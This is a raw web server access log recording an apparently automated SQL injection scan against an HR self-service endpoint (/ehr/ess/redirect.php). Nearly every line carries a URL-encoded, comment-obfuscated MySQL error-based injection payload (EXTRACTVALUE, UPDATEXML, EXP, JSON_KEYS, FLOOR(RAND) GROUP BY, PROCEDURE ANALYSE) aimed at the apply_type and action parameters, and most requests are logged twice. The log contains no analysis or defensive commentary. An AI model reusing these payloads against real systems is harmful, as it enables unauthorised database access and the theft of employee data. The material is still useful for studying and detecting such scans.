100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72623758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564c6f4a%29%29x%29%29--%2F%2A%2A%2F3kHL&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72623758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564c6f4a%29%29x%29%29--%2F%2A%2A%2F3kHL&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x31643530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d454e35%29%29--%2F%2A%2A%2F2zJ7&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x31643530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d454e35%29%29--%2F%2A%2A%2F2zJ7&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71384154%2C%28NULL%29%2C0x52734431%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fhg7N%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71384154%2C%28NULL%29%2C0x52734431%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fhg7N%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f324f78%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x544a397a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FAMOY&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f324f78%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x544a397a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FAMOY&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66745a46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35587165%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FBsRC&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66745a46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35587165%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FBsRC&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x35747768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x386d4168%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FvqEo&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x35747768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x386d4168%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FvqEo&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a477943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5243416a%29%29x%29%29--%2F%2A%2A%2F9NJe&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a477943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5243416a%29%29x%29%29--%2F%2A%2A%2F9NJe&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x69686871%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48385932%29%29%2C1%29--%2F%2A%2A%2F9zV7&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x69686871%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48385932%29%29%2C1%29--%2F%2A%2A%2F9zV7&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x446d4453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32446431%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FPhvd&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x446d4453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32446431%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FPhvd&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c6f4f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31584652%29%29%2C1%29--%2F%2A%2A%2FpjRr&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c6f4f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31584652%29%29%2C1%29--%2F%2A%2A%2FpjRr&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47654839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45554371%29%29--%2F%2A%2A%2F4brO&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47654839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45554371%29%29--%2F%2A%2A%2F4brO&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x33616372%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39724679%29%2C5431%29--%2F%2A%2A%2FFMh1&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x33616372%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39724679%29%2C5431%29--%2F%2A%2A%2FFMh1&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4359744b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53333231%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FWZRL&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4359744b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53333231%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FWZRL&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x64625178%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a557947%29%2C5431%29--%2F%2A%2A%2FOqTO&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x64625178%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a557947%29%2C5431%29--%2F%2A%2A%2FOqTO&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33773955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67705341%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fof4M&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33773955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67705341%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fof4M&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7943574f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f444b%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FdbG0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7943574f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f444b%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FdbG0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x45715774%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45773430%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FYAYC&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x45715774%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45773430%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FYAYC&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c345262%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36514272%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FqtlM&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c345262%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36514272%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FqtlM&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x57345643%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d626653%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F4KuH&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x57345643%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d626653%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F4KuH&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
